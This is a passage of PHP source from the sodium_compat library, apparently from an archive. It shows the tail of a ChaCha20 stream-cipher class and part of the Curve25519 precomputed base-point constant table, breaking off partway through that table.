            if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0) {
                $j13 = $j13->addInt(1);
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */

            $block = $x0->toReverseString() .
                $x1->toReverseString() .
                $x2->toReverseString() .
                $x3->toReverseString() .
                $x4->toReverseString() .
                $x5->toReverseString() .
                $x6->toReverseString() .
                $x7->toReverseString() .
                $x8->toReverseString() .
                $x9->toReverseString() .
                $x10->toReverseString() .
                $x11->toReverseString() .
                $x12->toReverseString() .
                $x13->toReverseString() .
                $x14->toReverseString() .
                $x15->toReverseString();

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
Core32/Curve25519/H.php000064400000324375152222652550010217 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core32_Curve25519_H extends ParagonIE_Sodium_Core32_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int, int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702),
